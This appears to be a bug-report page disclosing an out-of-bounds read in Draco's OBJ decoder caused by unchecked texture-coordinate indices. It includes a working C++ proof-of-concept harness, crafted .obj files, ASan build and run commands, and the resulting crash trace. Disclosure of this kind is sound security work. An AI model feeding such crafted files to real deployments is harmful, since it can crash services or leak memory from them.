Out-of-bounds read in `draco::PointAttribute::DeduplicateFormattedValues`
- Dominant language
- C++
- Stars
- 7.5k
- Forks
- 1.1k
- Avg merge
- 47m
- Merged PRs (30d)
- 1
Description
## Summary
- OS: Linux x86_64
- Toolchain: clang 14
- Build: `cmake -DCMAKE_BUILD_TYPE=Debug -DDRACO_BUILD_EXECUTABLES=ON`
with `-fsanitize=address -fno-omit-frame-pointer -fno-optimize-sibling-calls`
- Verified against Draco `main` at commit `77e616e` (version string 1.5.7).
The Draco OBJ decoder accepts OBJ face definitions whose texture-coordinate or
normal indices refer to entries that were never declared in the file. The
parser validates only that each index is non-zero; it never checks that the
index fits within the number of `vt` / `vn` / `v` entries seen in the first
parsing pass. The unchecked index is stored directly into the per-point
attribute mapping (`indices_map_`) and later dereferenced by the attribute
deduplication stage, producing an out-of-bounds read in
`PointAttribute::DeduplicateFormattedValues`.
The vulnerability is reachable from the public `ObjDecoder::DecodeFromBuffer`
API and from the shipped `draco_encoder` / `draco_decoder` command-line tools
when given an attacker-controlled `.obj` file.
## Affected component
- Version: 1.5.7 (current `main`, commit `77e616e`)
- File: `src/draco/io/obj_decoder.cc`
- Entry points:
- `draco::ObjDecoder::DecodeFromBuffer(DecoderBuffer*, PointCloud*)`
- `draco::ObjDecoder::DecodeFromBuffer(DecoderBuffer*, Mesh*)`
- `draco::ObjDecoder::DecodeFromFile(...)` (via `ReadMeshFromFile` /
`ReadPointCloudFromFile` from `draco_encoder` / `draco_decoder`)
## Proof of concept
### PoC 1 — Library API (minimal, ASan build required to observe)
`poc_objdecoder_repro.cc`:
```cpp
#include
#include
#include "draco/core/decoder_buffer.h"
#include "draco/core/status.h"
#include "draco/io/obj_decoder.h"
#include "draco/point_cloud/point_cloud.h"
int main() {
// Valid OBJ syntax with three positions, three normals, only three
// texcoords, while the face maps every vertex to texcoord index 100.
const std::string obj =
"v 0 0 0\n"
"v 1 0 0\n"
"v 0 1 0\n"
"vt 0 0\n"
"vt 0 0\n"
"vt 0 0\n"
"vn 0 0 1\n"
"vn 0 0 1\n"
"vn 0 0 1\n"
"f 1/100/1 2/100/2 3/100/3\n";
draco::DecoderBuffer buffer;
buffer.Init(obj.data(), obj.size());
draco::ObjDecoder decoder;
draco::PointCloud pc;
const draco::Status status = decoder.DecodeFromBuffer(&buffer, &pc);
std::cerr << "Decode status ok: " << status.ok() << "\n";
if (!status.ok()) std::cerr << status.error_msg() << "\n";
return status.ok() ? 0 : 1;
}
```
Build and run under ASan:
```bash
cmake -S -B /tmp/draco-asan -DCMAKE_BUILD_TYPE=Debug \
-DDRACO_BUILD_EXECUTABLES=OFF \
-DCMAKE_C_COMPILER=clang -DCMAKE_CXX_COMPILER=clang++ \
-DCMAKE_C_FLAGS='-fsanitize=address -fno-omit-frame-pointer' \
-DCMAKE_CXX_FLAGS='-fsanitize=address -fno-omit-frame-pointer' \
-DCMAKE_EXE_LINKER_FLAGS='-fsanitize=address'
cmake --build /tmp/draco-asan --target draco -j
clang++ -std=c++17 -g -O1 -fsanitize=address -fno-omit-frame-pointer \
-I/src -I/tmp/draco-asan poc_objdecoder_repro.cc \
/tmp/draco-asan/libdraco.a -lpthread -o /tmp/poc_objdecoder_repro
ASAN_OPTIONS=abort_on_error=1:symbolize=1 /tmp/poc_objdecoder_repro
```
### PoC 2 — Shipped CLI, ASan build (reliable crash)
Save the same OBJ to `/tmp/crash.obj` and run the sanitizer-built encoder:
```bash
ASAN_OPTIONS=abort_on_error=1:symbolize=1 \
/tmp/draco-asan/draco_encoder -i /tmp/crash.obj -o /tmp/out.drc
```
`/tmp/crash_big.obj`:
```
v 0 0 0
v 1 0 0
v 0 1 0
vt 0 0
vt 0 0
vt 0 0
vn 0 0 1
vn 0 0 1
vn 0 0 1
f 1/2000000000/1 2/2000000000/2 3/2000000000/3
```
## Observed output
### ASan report
```
==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x5020000002bc
READ of size 4 at 0x5020000002bc thread T0
#0 draco::IndexType<...>::IndexType(...) core/draco_index_type.h:70:54
#1 draco::PointAttribute::DeduplicateFormattedValues
attributes/point_attribute.cc:219:27
#2 draco::PointAttribute::DeduplicateTypedValues
attributes/point_attribute.cc:139:14
#3 draco::PointAttribute::DeduplicateValues(...) attributes/point_attribute.cc:97:21
#4 draco::PointAttribute::DeduplicateValues(...) attributes/point_attribute.cc:88:10
#5 draco::PointCloud::DeduplicateAttributeValues() point_cloud/point_cloud.cc:294:29
#6 draco::ObjDecoder::DecodeInternal() io/obj_decoder.cc:274:23
#7 draco::ObjDecoder::DecodeFromBuffer(...) io/obj_decoder.cc:85:10
(or DecodeFromFile / ReadMeshFromFile / draco_encoder main on PoC #2)
0x5020000002bc is located 384 bytes after 12-byte region [0x502000000130,0x50200000013c)
```
Contributor guide
Assessment
This issue has not been assessed yet.